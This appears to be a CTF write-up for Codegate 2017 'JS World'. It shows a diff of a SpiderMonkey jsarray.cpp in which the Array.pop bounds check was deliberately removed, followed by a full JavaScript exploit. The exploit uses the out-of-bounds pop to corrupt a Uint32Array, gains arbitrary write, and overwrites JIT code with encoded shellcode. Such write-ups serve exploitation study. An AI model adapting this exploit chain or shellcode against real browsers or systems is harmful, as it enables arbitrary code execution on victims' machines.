Codegate 2017 Quals - JS World

Posted on Aug 14, 2020

Summary

  • spidermonkey JS engine
  • oob in jsarray.cpp
$ diff jsarray.cpp mozilla/mozjs-24.2.0/js/src/jsarray.cpp
1947c1947,1950
<
---
>     if (index == 0) {
>         /* Step 4b. */
>         args.rval().setUndefined();
>     } else {
1959c1962
<
---
>     }
1964c1967
<     if (obj->isNative())
---
>     if (obj->isNative() && obj->getDenseInitializedLength() > index)

Exploit

  • Array 생성
    • pop() * (len+1) –> Out of Bounds
  • Uint32Array 생성
    • oob 인덱스 찾기
    • JIT 주소 찾기
  • overwrite shellcode on JIT code
function d_to_i2(d){
     var a = new Uint32Array(new Float64Array([d]).buffer);
     return [a[1], a[0]];
}

function i2_to_d(x){
     return new Float64Array(new Uint32Array([x[1], x[0]]).buffer)[0];
}

function i2_to_hex(i2){
        var v1 = ("00000000" + i2[0].toString(16)).substr(-8);
        var v2 = ("00000000" + i2[1].toString(16)).substr(-8);
     return [v1,v2];
}

function p_i2(d){
     print(i2_to_hex(d_to_i2(d))[0]+i2_to_hex(d_to_i2(d))[1])
}

var oob_Array = new Array(1)
oob_Array[0] = 0x41414141

var uint32_Array = new Uint32Array(0x1000)
for (var i=0; i<0x1000; i++)
{
  uint32_Array[i] = 0x42424242
}

oob_Array.pop()
oob_Array.pop()

uint32_base = 0

for (i = 0;i<0x1000;i++)
{
  if (oob_Array[i]==0x1000)
  {
    uint32_base = i+2
    break
  }
}

p_i2(oob_Array[uint32_base])

function aaw(addr, val){
  oob_Array[uint32_base] = i2_to_d(addr)
  uint32_Array[0] = val
}

function test()
{
  print('')
}

for (i=0; i<15; i++)
{
  test()
}

jit_base = 0
for (i=0; i<0x10000; i++)
{
  val = i2_to_hex(d_to_i2(oob_Array[i]))

    if(val[0]+val[1]=='0000015000000161')
  {
    jit_base = i-2
    break
  }
}

print('jit address : ')
p_i2(oob_Array[jit_base])
print('jit idx : '+jit_base)

/*
gef➤  x/10gx 0x7ffff684f5b0
0x7ffff684f5b0:	0x00007ffff7ff64f0	0x0000000000b78430
0x7ffff684f5c0:	0x0000015000000161	0x0000000600000000
0x7ffff684f5d0:	0x0000000000000003	0x0000000000000000
*/

function shellcodeInject(addr, shellcode){
        var hex = '';
        var shellcodeA=[]
        var c=0
        for(var i=0; i<shellcode.length;i=i+4)
        {
              for(var j=0; j<4; j++)
              {
                    if(shellcode[i+j]!=undefined)
                        hex+=("00"+shellcode.charCodeAt(i+j).toString(16, 2)).substr(-2)
              }
              shellcodeA[c]=parseInt('0x'+hex.match(/.{1,2}/g).reverse().join(''), 16)
              hex=''
              c=c+1
        }
        for(var i=0; i<shellcodeA.length; i=i+1)
        {
              addr[1]=addr[1]+4
              aaw(addr, shellcodeA[i])
        }
}

shellcode="\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\xf3\x60\x6a\x1d\xa5\x99\x5f\x03\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x99\x5b\x32\x84\xed\x22\x70\x61\x9a\x0e\x45\x6e\xcd\x99\x0c\x4b\x7a\x87\x02\x30\xc6\x99\x5f\x4b\x7a\x86\x38\xf5\xad\x99\x5f\x03\xdc\x02\x03\x73\x8a\xea\x37\x03\xa5\x37\x22\x94\x43\x96\x5a\x03"

shellcodeInject(d_to_i2(oob_Array[jit_base]), shellcode)
test()